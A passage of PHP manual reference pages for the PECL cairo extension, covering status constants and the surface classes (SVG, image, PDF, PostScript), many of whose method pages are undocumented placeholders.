CairoStatus::NULL_POINTER

Null pointer

CairoStatus::INVALID_STRING

Input string not valid UTF-8 string

CairoStatus::INVALID_PATH_DATA

Input path data not valid

CairoStatus::READ_ERROR

Error while reading from input stream

CairoStatus::WRITE_ERROR

Error while writing to output stream

CairoStatus::SURFACE_FINISHED

Target surface has been finished

CairoStatus::SURFACE_TYPE_MISMATCH

The surface type is not appropriate for the operation

CairoStatus::PATTERN_TYPE_MISMATCH

The pattern type is not appropriate for the operation

CairoStatus::INVALID_CONTENT

Invalid value for an input CairoContent

CairoStatus::INVALID_FORMAT

Invalid value for an input CairoFormat

CairoStatus::INVALID_VISUAL

Invalid value for an input Visual

CairoStatus::FILE_NOT_FOUND

File not found

CairoStatus::INVALID_DASH

Invalid value for a dash setting

CairoStatus::INVALID_DSC_COMMENT

Invalid value for a DSC comment

CairoStatus::INVALID_INDEX

Invalid index passed to getter

CairoStatus::CLIP_NOT_REPRESENTABLE

Clip region not representable in desired format

CairoStatus::TEMP_FILE_ERROR

Error creating or writing to a temporary file

CairoStatus::INVALID_STRIDE

Invalid value for CairoStride

User Contributed Notes

There are no user contributed notes for this page.
CairoException
CairoSurface
Cairo


The CairoSurface class

(No version information available, might only be in SVN)

Introduction

This is the base-class for all other Surface types. CairoSurface is the abstract type representing all different drawing targets that cairo can render to. The actual drawings are performed using a CairoContext.

Class synopsis

CairoSurface {
/* Methods */
public __construct ( void )
public void copyPage ( void )
public void createSimilar ( CairoSurface $other , int $content , string $width , string $height )
public void finish ( void )
public void flush ( void )
public int getContent ( void )
public array getDeviceOffset ( void )
public void getFontOptions ( void )
public int getType ( void )
public void markDirty ( void )
public void markDirtyRectangle ( string $x , string $y , string $width , string $height )
public void setDeviceOffset ( string $x , string $y )
public void setFallbackResolution ( string $x , string $y )
public void showPage ( void )
public int status ( void )
public void writeToPng ( string $file )
}

Table of Contents

  • CairoSurface::__construct — The __construct purpose
  • CairoSurface::copyPage — The copyPage purpose
  • CairoSurface::createSimilar — The createSimilar purpose
  • CairoSurface::finish — The finish purpose
  • CairoSurface::flush — The flush purpose
  • CairoSurface::getContent — The getContent purpose
  • CairoSurface::getDeviceOffset — The getDeviceOffset purpose
  • CairoSurface::getFontOptions — The getFontOptions purpose
  • CairoSurface::getType — The getType purpose
  • CairoSurface::markDirty — The markDirty purpose
  • CairoSurface::markDirtyRectangle — The markDirtyRectangle purpose
  • CairoSurface::setDeviceOffset — The setDeviceOffset purpose
  • CairoSurface::setFallbackResolution — The setFallbackResolution purpose
  • CairoSurface::showPage — The showPage purpose
  • CairoSurface::status — The status purpose
  • CairoSurface::writeToPng — The writeToPng purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoStatus
CairoSurface::__construct
Cairo


The __construct purpose

CairoSurface
CairoSurface::copyPage
CairoSurface
PHP Manual

CairoSurface::__construct

(PECL cairo >= 0.1.0)

CairoSurface::__construct — The __construct purpose

Description

public CairoSurface::__construct ( void )

CairoSurface is an abstract type and, as such, should not be instantiated in your PHP scripts.

Parameters

This function has no parameters.

Return Values

No return value

Notes

Note:

If you're using a PHP version before 5.3, you must destroy the CairoContext associated with a CairoSurface after you destroy the CairoSurface. Otherwise, you're left with a Circular-reference memory leak.

See Also

  • CairoImageSurface::__construct() - Creates a new CairoImageSurface

User Contributed Notes

There are no user contributed notes for this page.
CairoSurface
CairoSurface::copyPage
CairoSurface


The copyPage purpose

CairoSurface::__construct
CairoSurface::createSimilar
CairoSurface
PHP Manual

CairoSurface::copyPage

cairo_copy_page

(PECL cairo >= 0.1.0)

CairoSurface::copyPage -- cairo_copy_page — The copyPage purpose

Description

Object oriented style (method):

public void CairoSurface::copyPage ( void )

Procedural style:

void cairo_copy_page ( CairoContext $context )

Emits the current page for backends that support multiple pages, but doesn't clear it, so that the contents of the current page will be retained for the next page. Use CairoSurface::showPage() if you want to get an empty page after the emission.

Parameters

context

A CairoContext object

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurface::__construct
CairoSurface::createSimilar
CairoSurface


The createSimilar purpose

CairoSurface::copyPage
CairoSurface::finish
CairoSurface
PHP Manual

CairoSurface::createSimilar

(PECL cairo >= 0.1.0)

CairoSurface::createSimilar — The createSimilar purpose

Description

public void CairoSurface::createSimilar ( CairoSurface $other , int $content , string $width , string $height )

Create a new surface that is as compatible as possible with an existing surface. For example the new surface will have the same fallback resolution and font options as other. Generally, the new surface will also use the same backend as other, unless that is not possible for some reason. The type of the returned surface may be examined with CairoSurface::getType(). Initially the surface contents are all 0 (transparent if contents have transparency, black otherwise.)

Parameters

other

An existing surface used to select the backend of the new surface

content

The content for the new surface. See the CairoContent class for possible values.

width

Width of the new surface, (in device-space units).

height

Height of the new surface, (in device-space units).

Return Values

A new CairoSurface

Examples

Example #1 CairoSurface::createSimilar() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • CairoContent()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurface::copyPage
CairoSurface::finish
CairoSurface


The finish purpose

CairoSurface::createSimilar
CairoSurface::flush
CairoSurface
PHP Manual

CairoSurface::finish

(PECL cairo >= 0.1.0)

CairoSurface::finish — The finish purpose

Description

public void CairoSurface::finish ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSurface::finish() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurface::createSimilar
CairoSurface::flush
CairoSurface


The flush purpose

CairoSurface::finish
CairoSurface::getContent
CairoSurface
PHP Manual

CairoSurface::flush

(PECL cairo >= 0.1.0)

CairoSurface::flush — The flush purpose

Description

public void CairoSurface::flush ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSurface::flush() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurface::finish
CairoSurface::getContent
CairoSurface


The getContent purpose

CairoSurface::flush
CairoSurface::getDeviceOffset
CairoSurface
PHP Manual

CairoSurface::getContent

(PECL cairo >= 0.1.0)

CairoSurface::getContent — The getContent purpose

Description

public int CairoSurface::getContent ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSurface::getContent() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurface::flush
CairoSurface::getDeviceOffset
CairoSurface


The getDeviceOffset purpose

CairoSurface::getContent
CairoSurface::getFontOptions
CairoSurface
PHP Manual

CairoSurface::getDeviceOffset

(PECL cairo >= 0.1.0)

CairoSurface::getDeviceOffset — The getDeviceOffset purpose

Description

public array CairoSurface::getDeviceOffset ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSurface::getDeviceOffset() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurface::getContent
CairoSurface::getFontOptions
CairoSurface


The getFontOptions purpose

CairoSurface::getDeviceOffset
CairoSurface::getType
CairoSurface
PHP Manual

CairoSurface::getFontOptions

cairo_get_font_options

(PECL cairo >= 0.1.0)

CairoSurface::getFontOptions -- cairo_get_font_options — The getFontOptions purpose

Description

Object oriented style (method):

public void CairoSurface::getFontOptions ( void )

Procedural style:

void cairo_get_font_options ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurface::getDeviceOffset
CairoSurface::getType
CairoSurface


The getType purpose

CairoSurface::getFontOptions
CairoSurface::markDirty
CairoSurface
PHP Manual

CairoSurface::getType

(PECL cairo >= 0.1.0)

CairoSurface::getType — The getType purpose

Description

public int CairoSurface::getType ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSurface::getType() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurface::getFontOptions
CairoSurface::markDirty
CairoSurface


The markDirty purpose

CairoSurface::getType
CairoSurface::markDirtyRectangle
CairoSurface
PHP Manual

CairoSurface::markDirty

(PECL cairo >= 0.1.0)

CairoSurface::markDirty — The markDirty purpose

Description

public void CairoSurface::markDirty ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSurface::markDirty() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurface::getType
CairoSurface::markDirtyRectangle
CairoSurface


The markDirtyRectangle purpose

CairoSurface::markDirty
CairoSurface::setDeviceOffset
CairoSurface
PHP Manual

CairoSurface::markDirtyRectangle

(PECL cairo >= 0.1.0)

CairoSurface::markDirtyRectangle — The markDirtyRectangle purpose

Description

public void CairoSurface::markDirtyRectangle ( string $x , string $y , string $width , string $height )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

x

Description...

y

Description...

width

Description...

height

Description...

Return Values

Description...

Examples

Example #1 CairoSurface::markDirtyRectangle() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurface::markDirty
CairoSurface::setDeviceOffset
CairoSurface


The setDeviceOffset purpose

CairoSurface::markDirtyRectangle
CairoSurface::setFallbackResolution
CairoSurface
PHP Manual

CairoSurface::setDeviceOffset

(PECL cairo >= 0.1.0)

CairoSurface::setDeviceOffset — The setDeviceOffset purpose

Description

public void CairoSurface::setDeviceOffset ( string $x , string $y )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 CairoSurface::setDeviceOffset() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurface::markDirtyRectangle
CairoSurface::setFallbackResolution
CairoSurface


The setFallbackResolution purpose

CairoSurface::setDeviceOffset
CairoSurface::showPage
CairoSurface
PHP Manual

CairoSurface::setFallbackResolution

(PECL cairo >= 0.1.0)

CairoSurface::setFallbackResolution — The setFallbackResolution purpose

Description

public void CairoSurface::setFallbackResolution ( string $x , string $y )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 CairoSurface::setFallbackResolution() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurface::setDeviceOffset
CairoSurface::showPage
CairoSurface


The showPage purpose

CairoSurface::setFallbackResolution
CairoSurface::status
CairoSurface
PHP Manual

CairoSurface::showPage

cairo_show_page

(PECL cairo >= 0.1.0)

CairoSurface::showPage -- cairo_show_page — The showPage purpose

Description

Object oriented style (method):

public void CairoSurface::showPage ( void )

Procedural style:

void cairo_show_page ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurface::setFallbackResolution
CairoSurface::status
CairoSurface


The status purpose

CairoSurface::showPage
CairoSurface::writeToPng
CairoSurface
PHP Manual

CairoSurface::status

cairo_status

(PECL cairo >= 0.1.0)

CairoSurface::status -- cairo_status — The status purpose

Description

Object oriented style (method):

public int CairoSurface::status ( void )

Procedural style:

int cairo_status ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurface::showPage
CairoSurface::writeToPng
CairoSurface


The writeToPng purpose

CairoSurface::status
CairoSvgSurface
CairoSurface
PHP Manual

CairoSurface::writeToPng

(PECL cairo >= 0.1.0)

CairoSurface::writeToPng — The writeToPng purpose

Description

public void CairoSurface::writeToPng ( string $file )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

file

Description...

Return Values

Description...

Examples

Example #1 CairoSurface::writeToPng() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSurface::status
CairoSvgSurface
CairoSurface


Svg Surface Backend

(No version information available, might only be in SVN)

Introduction

Svg specific surface class, uses the SVG (standard vector graphics) surface backend.

Class synopsis

CairoSvgSurface extends CairoSurface {
/* Methods */
public __construct ( string $file , float $width , float $height )
public static array getVersions ( void )
public void restrictToVersion ( string $version )
public static string versionToString ( int $version )
/* Inherited methods */
public CairoSurface::__construct ( void )
public void CairoSurface::copyPage ( void )
public void CairoSurface::createSimilar ( CairoSurface $other , int $content , string $width , string $height )
public void CairoSurface::finish ( void )
public void CairoSurface::flush ( void )
public int CairoSurface::getContent ( void )
public array CairoSurface::getDeviceOffset ( void )
public void CairoSurface::getFontOptions ( void )
public int CairoSurface::getType ( void )
public void CairoSurface::markDirty ( void )
public void CairoSurface::markDirtyRectangle ( string $x , string $y , string $width , string $height )
public void CairoSurface::setDeviceOffset ( string $x , string $y )
public void CairoSurface::setFallbackResolution ( string $x , string $y )
public void CairoSurface::showPage ( void )
public int CairoSurface::status ( void )
public void CairoSurface::writeToPng ( string $file )
}

Table of Contents

  • CairoSvgSurface::__construct — The __construct purpose
  • CairoSvgSurface::getVersions — Used to retrieve a list of supported SVG versions
  • CairoSvgSurface::restrictToVersion — The restrictToVersion purpose
  • CairoSvgSurface::versionToString — The versionToString purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoSurface::writeToPng
CairoSvgSurface::__construct
Cairo


The __construct purpose

CairoSvgSurface
CairoSvgSurface::getVersions
CairoSvgSurface
PHP Manual

CairoSvgSurface::__construct

(PECL cairo >= 0.1.0)

CairoSvgSurface::__construct — The __construct purpose

Description

public CairoSvgSurface::__construct ( string $file , float $width , float $height )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

file

Description...

width

Description...

height

Description...

Return Values

Description...

Examples

Example #1 CairoSvgSurface::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSvgSurface
CairoSvgSurface::getVersions
CairoSvgSurface


Used to retrieve a list of supported SVG versions

CairoSvgSurface::__construct
CairoSvgSurface::restrictToVersion
CairoSvgSurface
PHP Manual

CairoSvgSurface::getVersions

cairo_svg_surface_get_versions

(PECL cairo >= 0.1.0)

CairoSvgSurface::getVersions -- cairo_svg_surface_get_versions — Used to retrieve a list of supported SVG versions

Description

Object oriented style (method):

public static array CairoSvgSurface::getVersions ( void )

Procedural style:

array cairo_svg_get_versions ( void )

Returns a numerically indexed array of currently available CairoSvgVersion constants. In order to retreive the string values for each item, use CairoSvgSurface::versionToString().

Parameters

This function has no parameters.

Return Values

Returns a numerically indexed array of integer values.

Examples

Example #1 CairoSvgSurface::getVersions() example

<?php
/* Grab our list of versions */
$versions = CairoSvgSurface::getVersions();
var_dump($versions);

/* echo the string name of each version */
foreach($versions as $id) {
    echo CairoSvgSurface::versionToString($id), PHP_EOL;
}
?>

The above example will output something similar to:

array(2) {
  [0]=>
  int(0)
  [1]=>
  int(1)
}
SVG 1.1
SVG 1.2

Example #2 Procedural style

<?php
/* Grab our list of versions */
$versions = cairo_svg_surface_get_versions();
var_dump($versions);

/* echo the string name of each version */
foreach($versions as $id) {
    echo cairo_svg_surface_version_to_string($id), PHP_EOL;
}
?>

The above example will output something similar to:

array(2) {
  [0]=>
  int(0)
  [1]=>
  int(1)
}
SVG 1.1
SVG 1.2

See Also

  • CairoSvgSurface::versionToString() - The versionToString purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoSvgSurface::__construct
CairoSvgSurface::restrictToVersion
CairoSvgSurface


The restrictToVersion purpose

CairoSvgSurface::getVersions
CairoSvgSurface::versionToString
CairoSvgSurface
PHP Manual

CairoSvgSurface::restrictToVersion

(PECL cairo >= 0.1.0)

CairoSvgSurface::restrictToVersion — The restrictToVersion purpose

Description

public void CairoSvgSurface::restrictToVersion ( string $version )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

version

Description...

Return Values

Description...

Examples

Example #1 CairoSvgSurface::restrictToVersion() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSvgSurface::getVersions
CairoSvgSurface::versionToString
CairoSvgSurface


The versionToString purpose

CairoSvgSurface::restrictToVersion
CairoImageSurface
CairoSvgSurface
PHP Manual

CairoSvgSurface::versionToString

(PECL cairo >= 0.1.0)

CairoSvgSurface::versionToString — The versionToString purpose

Description

public static string CairoSvgSurface::versionToString ( int $version )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

version

Description...

Return Values

Description...

Examples

Example #1 CairoSvgSurface::versionToString() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoSvgSurface::restrictToVersion
CairoImageSurface
CairoSvgSurface


The CairoImageSurface class

(No version information available, might only be in SVN)

Introduction

CairoImageSurface provide the ability to render to memory buffers either allocated by cairo or by the calling code. The supported image formats are those defined in CairoFormat.

Class synopsis

CairoImageSurface extends CairoSurface {
/* Methods */
public __construct ( int $format , int $width , int $height )
public static void createForData ( string $data , int $format , int $width , int $height [, int $stride = -1 ] )
public static CairoImageSurface createFromPng ( string $file )
public string getData ( void )
public int getFormat ( void )
public int getHeight ( void )
public int getStride ( void )
public int getWidth ( void )
/* Inherited methods */
public CairoSurface::__construct ( void )
public void CairoSurface::copyPage ( void )
public void CairoSurface::createSimilar ( CairoSurface $other , int $content , string $width , string $height )
public void CairoSurface::finish ( void )
public void CairoSurface::flush ( void )
public int CairoSurface::getContent ( void )
public array CairoSurface::getDeviceOffset ( void )
public void CairoSurface::getFontOptions ( void )
public int CairoSurface::getType ( void )
public void CairoSurface::markDirty ( void )
public void CairoSurface::markDirtyRectangle ( string $x , string $y , string $width , string $height )
public void CairoSurface::setDeviceOffset ( string $x , string $y )
public void CairoSurface::setFallbackResolution ( string $x , string $y )
public void CairoSurface::showPage ( void )
public int CairoSurface::status ( void )
public void CairoSurface::writeToPng ( string $file )
}

Table of Contents

  • CairoImageSurface::__construct — Creates a new CairoImageSurface
  • CairoImageSurface::createForData — The createForData purpose
  • CairoImageSurface::createFromPng — Creates a new CairoImageSurface form a png image file
  • CairoImageSurface::getData — Gets the image data as string
  • CairoImageSurface::getFormat — Get the image format
  • CairoImageSurface::getHeight — Retrieves the height of the CairoImageSurface
  • CairoImageSurface::getStride — The getStride purpose
  • CairoImageSurface::getWidth — Retrieves the width of the CairoImageSurface

User Contributed Notes

There are no user contributed notes for this page.
CairoSvgSurface::versionToString
CairoImageSurface::__construct
Cairo


Creates a new CairoImageSurface

CairoImageSurface
CairoImageSurface::createForData
CairoImageSurface
PHP Manual

CairoImageSurface::__construct

(PECL cairo >= 0.1.0)

CairoImageSurface::__construct — Creates a new CairoImageSurface

Description

public CairoImageSurface::__construct ( int $format , int $width , int $height )

Creates a new CairoImageSuface object of type format

Parameters

format

Can be any defined in CairoFormat

width

The width of the image surface

height

The height of the image surface

Return Values

A new CairoImageSurface

Examples

Example #1 CairoImageSurface::__construct() example

<?php

// Creates a image with ARGB32 format of 50 width and 50 height
$surface = new CairoImageSurface(CairoFormat::ARGB32, 50,50);

?>

See Also

  • CairoContext::__construct() - Creates a new CairoContext

User Contributed Notes

There are no user contributed notes for this page.
CairoImageSurface
CairoImageSurface::createForData
CairoImageSurface


The createForData purpose

CairoImageSurface::__construct
CairoImageSurface::createFromPng
CairoImageSurface
PHP Manual

CairoImageSurface::createForData

(PECL cairo >= 0.1.0)

CairoImageSurface::createForData — The createForData purpose

Description

public static void CairoImageSurface::createForData ( string $data , int $format , int $width , int $height [, int $stride = -1 ] )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

data

Description...

format

Description...

width

Description...

height

Description...

stride

Description...

Return Values

Description...

Examples

Example #1 CairoImageSurface::createForData() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoImageSurface::__construct
CairoImageSurface::createFromPng
CairoImageSurface


Creates a new CairoImageSurface form a png image file

CairoImageSurface::createForData
CairoImageSurface::getData
CairoImageSurface
PHP Manual

CairoImageSurface::createFromPng

(PECL cairo >= 0.1.0)

CairoImageSurface::createFromPng — Creates a new CairoImageSurface form a png image file

Description

public static CairoImageSurface CairoImageSurface::createFromPng ( string $file )

Creates a new CairoImageSurface form a png image file

This method should be called static

Parameters

file

Path to PNG image file

Return Values

CairoImageSurface object

Examples

Example #1 CairoImageSurface::createFromPng() example

<?php

$surface = CairoImageSurface::createFromPng('/path/to/image/file.png');

?>

The above example will output something similar to:

...

See Also

  • CairoImageSurface::__construct() - Creates a new CairoImageSurface

User Contributed Notes

There are no user contributed notes for this page.
CairoImageSurface::createForData
CairoImageSurface::getData
CairoImageSurface


Gets the image data as string

CairoImageSurface::createFromPng
CairoImageSurface::getFormat
CairoImageSurface
PHP Manual

CairoImageSurface::getData

(PECL cairo >= 0.1.0)

CairoImageSurface::getData — Gets the image data as string

Description

public string CairoImageSurface::getData ( void )

Returns the image data of this surface or NULL if surface is not an image surface, or if CairoContext::finish(), procedural : cairo_surface_finish(), has been called.

Parameters

This function has no parameters.

Return Values

The image data as string

Examples

Example #1 CairoImageSurface::getData() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • CairoImageSurface::getStride() - The getStride purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoImageSurface::createFromPng
CairoImageSurface::getFormat
CairoImageSurface


Get the image format

CairoImageSurface::getData
CairoImageSurface::getHeight
CairoImageSurface
PHP Manual

CairoImageSurface::getFormat

(PECL cairo >= 0.1.0)

CairoImageSurface::getFormat — Get the image format

Description

public int CairoImageSurface::getFormat ( void )

Retrieves the image format, as one of the CairoFormat defined

Parameters

This function has no parameters.

Return Values

One of the CairoFormat enums

Examples

Example #1 CairoImageSurface::getFormat() example

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

var_dump($surface->getFormat()); // 0

$surface2 = new CairoImageSurface(CairoFormat::A8, 50, 50);

var_dump($surface2->getFormat()); // 2

?>

The above example will output something similar to:

int(0)
int(2)

See Also

  • CairoImageSurface::getHeight() - Retrieves the height of the CairoImageSurface
  • CairoImageSurface::getWidth() - Retrieves the width of the CairoImageSurface

User Contributed Notes

There are no user contributed notes for this page.
CairoImageSurface::getData
CairoImageSurface::getHeight
CairoImageSurface


Retrieves the height of the CairoImageSurface

CairoImageSurface::getFormat
CairoImageSurface::getStride
CairoImageSurface
PHP Manual

CairoImageSurface::getHeight

(PECL cairo >= 0.1.0)

CairoImageSurface::getHeight — Retrieves the height of the CairoImageSurface

Description

public int CairoImageSurface::getHeight ( void )

This methods returns the CairoImageSurface height.

Parameters

This function has no parameters.

Return Values

CairoImageSurface object height

Examples

Example #1 CairoImageSurface::getHeight() example

<?php
// creates a new image surface
$surface = new CairoImageSurface(CairoFormat::ARGB32, 80, 50);

//gets the height
var_dump($surface->getHeight());

?>

The above example will output something similar to:

int(50)

See Also

  • CairoImageSurface::getWidth() - Retrieves the width of the CairoImageSurface

User Contributed Notes

There are no user contributed notes for this page.
CairoImageSurface::getFormat
CairoImageSurface::getStride
CairoImageSurface


The getStride purpose

CairoImageSurface::getHeight
CairoImageSurface::getWidth
CairoImageSurface
PHP Manual

CairoImageSurface::getStride

(PECL cairo >= 0.1.0)

CairoImageSurface::getStride — The getStride purpose

Description

public int CairoImageSurface::getStride ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoImageSurface::getStride() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoImageSurface::getHeight
CairoImageSurface::getWidth
CairoImageSurface


Retrieves the width of the CairoImageSurface

CairoImageSurface::getStride
CairoPdfSurface
CairoImageSurface
PHP Manual

CairoImageSurface::getWidth

(PECL cairo >= 0.1.0)

CairoImageSurface::getWidth — Retrieves the width of the CairoImageSurface

Description

public int CairoImageSurface::getWidth ( void )

Gets the width of the CairoImageSurface

Parameters

This function has no parameters.

Return Values

Returns the width of the CairoImageSurface object

Examples

Example #1 CairoImageSurface::getWidth() example

<?php
// creates a new image surface
$surface = new CairoImageSurface(CairoFormat::ARGB32, 80, 50);

//gets the width
var_dump($surface->getWidth());

?>

The above example will output something similar to:

int(80)

See Also

  • CairoImageSurface::getHeight() - Retrieves the height of the CairoImageSurface

User Contributed Notes

There are no user contributed notes for this page.
CairoImageSurface::getStride
CairoPdfSurface
CairoImageSurface


The CairoPdfSurface class

(No version information available, might only be in SVN)

Introduction

Class synopsis

CairoPdfSurface extends CairoSurface {
/* Methods */
public __construct ( string $file , float $width , float $height )
public void setSize ( string $width , string $height )
/* Inherited methods */
public CairoSurface::__construct ( void )
public void CairoSurface::copyPage ( void )
public void CairoSurface::createSimilar ( CairoSurface $other , int $content , string $width , string $height )
public void CairoSurface::finish ( void )
public void CairoSurface::flush ( void )
public int CairoSurface::getContent ( void )
public array CairoSurface::getDeviceOffset ( void )
public void CairoSurface::getFontOptions ( void )
public int CairoSurface::getType ( void )
public void CairoSurface::markDirty ( void )
public void CairoSurface::markDirtyRectangle ( string $x , string $y , string $width , string $height )
public void CairoSurface::setDeviceOffset ( string $x , string $y )
public void CairoSurface::setFallbackResolution ( string $x , string $y )
public void CairoSurface::showPage ( void )
public int CairoSurface::status ( void )
public void CairoSurface::writeToPng ( string $file )
}

Table of Contents

  • CairoPdfSurface::__construct — The __construct purpose
  • CairoPdfSurface::setSize — The setSize purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoImageSurface::getWidth
CairoPdfSurface::__construct
Cairo


The __construct purpose

CairoPdfSurface
CairoPdfSurface::setSize
CairoPdfSurface
PHP Manual

CairoPdfSurface::__construct

(PECL cairo >= 0.1.0)

CairoPdfSurface::__construct — The __construct purpose

Description

public CairoPdfSurface::__construct ( string $file , float $width , float $height )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

file

Description...

width

Description...

height

Description...

Return Values

Description...

Examples

Example #1 CairoPdfSurface::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoPdfSurface
CairoPdfSurface::setSize
CairoPdfSurface


The setSize purpose

CairoPdfSurface::__construct
CairoPsSurface
CairoPdfSurface
PHP Manual

CairoPdfSurface::setSize

(PECL cairo >= 0.1.0)

CairoPdfSurface::setSize — The setSize purpose

Description

public void CairoPdfSurface::setSize ( string $width , string $height )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

width

Description...

height

Description...

Return Values

Description...

Examples

Example #1 CairoPdfSurface::setSize() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoPdfSurface::__construct
CairoPsSurface
CairoPdfSurface


The CairoPsSurface class

(No version information available, might only be in SVN)

Introduction

Class synopsis

CairoPsSurface extends CairoSurface {
/* Methods */
public __construct ( string $file , float $width , float $height )
public void dscBeginPageSetup ( void )
public void dscBeginSetup ( void )
public void dscComment ( string $comment )
public bool getEps ( void )
public static array getLevels ( void )
public static string levelToString ( int $level )
public void restrictToLevel ( string $level )
public void setEps ( string $level )
public void setSize ( string $width , string $height )
/* Inherited methods */
public CairoSurface::__construct ( void )
public void CairoSurface::copyPage ( void )
public void CairoSurface::createSimilar ( CairoSurface $other , int $content , string $width , string $height )
public void CairoSurface::finish ( void )
public void CairoSurface::flush ( void )
public int CairoSurface::getContent ( void )
public array CairoSurface::getDeviceOffset ( void )
public void CairoSurface::getFontOptions ( void )
public int CairoSurface::getType ( void )
public void CairoSurface::markDirty ( void )
public void CairoSurface::markDirtyRectangle ( string $x , string $y , string $width , string $height )
public void CairoSurface::setDeviceOffset ( string $x , string $y )
public void CairoSurface::setFallbackResolution ( string $x , string $y )
public void CairoSurface::showPage ( void )
public int CairoSurface::status ( void )
public void CairoSurface::writeToPng ( string $file )
}

Table of Contents

  • CairoPsSurface::__construct — The __construct purpose
  • CairoPsSurface::dscBeginPageSetup — The dscBeginPageSetup purpose
  • CairoPsSurface::dscBeginSetup — The dscBeginSetup purpose
  • CairoPsSurface::dscComment — The dscComment purpose
  • CairoPsSurface::getEps — The getEps purpose
